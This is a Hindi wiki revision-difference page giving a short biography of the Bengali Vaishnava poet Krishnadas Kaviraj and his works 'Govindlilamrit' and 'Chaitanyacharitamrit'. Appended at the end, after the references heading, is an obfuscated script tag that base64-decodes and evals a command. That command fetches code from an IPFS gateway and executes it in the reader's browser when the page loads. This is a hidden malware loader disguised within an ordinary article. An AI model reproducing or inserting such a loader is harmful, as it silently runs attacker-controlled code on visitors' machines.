कृष्णदास कविराज: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 40: | Line 40: | ||
}} | }} | ||
'''कृष्णदास कविराज''' [[बांग्ला भाषा]] के [[वैष्णव]] [[कवि]] थे। [[पश्चिम बंगाल]] में उनका वही स्थान है, जो [[उत्तर भारत]] में [[तुलसीदास]] का। इनका जन्म बर्द्धमान ज़िले के झामटपुर नामक [[ग्राम]] में एक [[कायस्थ]] कुल में हुआ था। इनका समय कुछ लोग 1496 से 1598 ई. और कुछ लोग 1517 से 1615 ई. मानते हैं। | '''कृष्णदास कविराज''' [[बांग्ला भाषा]] के [[वैष्णव]] [[कवि]] थे। [[पश्चिम बंगाल]] में उनका वही स्थान है, जो [[उत्तर भारत]] में [[तुलसीदास]] का। इनका जन्म [[बर्द्धमान ज़िला|बर्द्धमान ज़िले]] के झामटपुर नामक [[ग्राम]] में एक [[कायस्थ]] कुल में हुआ था। इनका समय कुछ लोग 1496 से 1598 ई. और कुछ लोग 1517 से 1615 ई. मानते हैं। | ||
*कृष्णदास कविराज को बचपन में ही वैराग्य हो गया था। कहते हैं कि नित्यानंद ने उन्हें स्वप्न में [[वृंदावन]] जाने का आदेश दिया था। तदनुसार इन्होंने वृंदावन में रहकर [[संस्कृत]] का अध्ययन किया और संस्कृत में अनेक ग्रंथों की रचना की। | *कृष्णदास कविराज को बचपन में ही वैराग्य हो गया था। कहते हैं कि नित्यानंद ने उन्हें स्वप्न में [[वृंदावन]] जाने का आदेश दिया था। तदनुसार इन्होंने वृंदावन में रहकर [[संस्कृत]] का अध्ययन किया और संस्कृत में अनेक ग्रंथों की रचना की। |
Revision as of 14:54, 17 May 2015
कृष्णदास कविराज
| |
पूरा नाम | कृष्णदास कविराज |
जन्म भूमि | झामटपुर ग्राम, बर्द्धमान ज़िला, पश्चिम बंगाल |
कर्म भूमि | पश्चिम बंगाल, भारत |
मुख्य रचनाएँ | 'गोविंदलीलामृत', चैतन्यचरितामृत |
भाषा | संस्कृत, बांग्ला |
नागरिकता | भारतीय |
संबंधित लेख | चैतन्य महाप्रभु, गौड़ीय सम्प्रदाय, वृन्दावन |
अन्य जानकारी | कृष्णदास कविराज द्वारा रचित ग्रंथ 'गोविंदलीलामृत' सबसे अधिक प्रसिद्ध है। इसमें राधा-कृष्ण की वृंदावन की लीलाओं का वर्णन है। |
कृष्णदास कविराज बांग्ला भाषा के वैष्णव कवि थे। पश्चिम बंगाल में उनका वही स्थान है, जो उत्तर भारत में तुलसीदास का। इनका जन्म बर्द्धमान ज़िले के झामटपुर नामक ग्राम में एक कायस्थ कुल में हुआ था। इनका समय कुछ लोग 1496 से 1598 ई. और कुछ लोग 1517 से 1615 ई. मानते हैं।
- कृष्णदास कविराज को बचपन में ही वैराग्य हो गया था। कहते हैं कि नित्यानंद ने उन्हें स्वप्न में वृंदावन जाने का आदेश दिया था। तदनुसार इन्होंने वृंदावन में रहकर संस्कृत का अध्ययन किया और संस्कृत में अनेक ग्रंथों की रचना की।
- इनके द्वारा रचित ग्रंथ 'गोविंदलीलामृत' सबसे अधिक प्रसिद्ध है। इसमें राधा-कृष्ण की वृंदावन की लीलाओं का वर्णन है। किंतु इनका सबसे महत्वपूर्ण ग्रंथ 'चैतन्यचरितामृत' है। इसमें महाप्रभु चैतन्य की लीला का गान किया है। इसमें उनकी विस्तृत जीवनी, उनके भक्तों एवं भक्तों के शिष्यों के उल्लेख के साथ-साथ गौड़ीय वैष्णवों की दार्शनिक एवं भक्ति संबंधी विचारधारा का निदर्शन है।
- 'चैतन्यचरितामृत' महाकाव्य का बंगाल में अत्यंत आदर है और ऐतिहासिक दृष्टि से भी यह महत्वपूर्ण है। इसमें सम्प्रदाय के नेता कृष्णचैतन्य का सम्पूर्ण जीवन बड़ी अच्छी शैली में वर्णित है।
- दिनेशचन्द्र सेन के शब्दों में बांग्ला भाषा में रचित 'चैतन्यचरितामृत' ग्रन्थ चैतन्य तथा उनके अनुयायियों की शिक्षाओं को प्रस्तुत करने वाला सर्वश्रेष्ठ ग्रन्थ है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>